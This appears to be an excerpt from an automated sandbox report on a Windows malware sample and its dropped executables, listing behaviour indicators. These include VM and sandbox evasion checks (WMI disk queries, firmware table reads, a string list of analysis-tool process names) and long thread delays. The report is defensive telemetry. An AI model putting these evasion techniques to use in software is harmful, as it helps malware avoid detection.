Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_DiskDrive
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_DiskDrive

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: sys_updater.exe.26.dr	Binary or memory string: VGAUTHSERVICE.EXE.EXEHOLLOWS_HUNTER32PROCEXP64.EXEPROCEXP.EXEPROCMON.EXEPROCMON64.EXEPESTUDIO.EXEKSDUMPER.EXEPRL_CC.EXEPRL_TOOLS.EXEPE-SIEVE64.EXEMONETA64.EXEFAKENET.EXEWIRESHARK.EXEVBOXSERVICE.EXEVMWAREUSER.EXEVMTOOLSD.EXEVMWARETRAY.EXEVMSRVC.EXEVBOXTRAY.EXEC:\USERS\HASSP\.CARGO\REGISTRY\SRC\INDEX.CRATES.IO-6F17D22BBA15001F\ANTILYSIS-0.1.2\SRC\LIB.RS>
Source: RPHbzz3JqY.exe, 00000000.00000002.1678871716.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp, explert.exe, 00000003.00000002.1679510345.000000000102E000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000003.00000002.1679178141.0000000000BBD000.00000004.00000010.00020000.00000000.sdmp, explert.exe, 00000007.00000002.1764368656.000000000044C000.00000004.00000010.00020000.00000000.sdmp, explert.exe, 00000007.00000002.1764698949.0000000000B48000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 0000000E.00000002.1845369637.0000000000A58000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 0000000E.00000002.1845219099.00000000008FD000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE@\FQ
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE`,FQ
Source: explert.exe, 00000007.00000002.1764368656.000000000044C000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OSBIEDLL.DLLEAM - F
Source: RPHbzz3JqY.exe, 00000000.00000002.1678871716.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp, explert.exe, 00000003.00000002.1679178141.0000000000BBD000.00000004.00000010.00020000.00000000.sdmp, explert.exe, 0000000E.00000002.1845219099.00000000008FD000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLEAM - F
Source: sys_updater.exe.26.dr	Binary or memory string: HOLLOWS_HUNTER32PROCEXP64.EXEPROCEXP.EXEPROCMON.EXEPROCMON64.EXEPESTUDIO.EXEKSDUMPER.EXEPRL_CC.EXEPRL_TOOLS.EXEPE-SIEVE64.EXEMONETA64.EXEFAKENET.EXEWIRESHARK.EXEVBOXSERVICE.EXEVMWAREUSER.EXEVMTOOLSD.EXEVMWARETRAY.EXEVMSRVC.EXEVBOXTRAY.EXEC:\USERS\HASSP\.CARGO\REGISTRY\SRC\INDEX.CRATES.IO-6F17D22BBA15001F\ANTILYSIS-0.1.2\SRC\LIB.RS>

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory allocated: 234D6370000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory allocated: 234EE550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory allocated: 1710000 memory reserve \| memory write watch
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory allocated: 32E0000 memory reserve \| memory write watch
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory allocated: 1710000 memory reserve \| memory write watch
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory allocated: 5780000 memory reserve \| memory write watch
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory allocated: 6780000 memory reserve \| memory write watch
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory allocated: 68B0000 memory reserve \| memory write watch
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory allocated: 78B0000 memory reserve \| memory write watch
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory allocated: 7C00000 memory reserve \| memory write watch
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory allocated: 8C00000 memory reserve \| memory write watch
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory allocated: 9C00000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 14A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2E60000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4E60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Memory allocated: 21E03AC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Memory allocated: 21E1BC10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Memory allocated: 159F3F40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Memory allocated: 159F4130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Memory allocated: 20E49E20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Memory allocated: 20E621C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Memory allocated: 237D54B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Memory allocated: 237ED740000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe

Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 1199988	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 599905	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 598968	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Window / User API: threadDelayed 4226	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Window / User API: threadDelayed 4819	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Window / User API: threadDelayed 2243	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Window / User API: threadDelayed 7533	Jump to behavior

Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\d3d9.dll

Jump to dropped file

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	API coverage: 7.5 %
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	API coverage: 5.0 %

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe TID: 5180	Thread sleep count: 4226 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe TID: 5180	Thread sleep time: -42260000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe TID: 5660	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe TID: 5180	Thread sleep count: 4819 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe TID: 5180	Thread sleep time: -48190000s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59874s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59750s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59640s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59531s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59422s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59297s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59178s >= -30000s	Jump to behavior
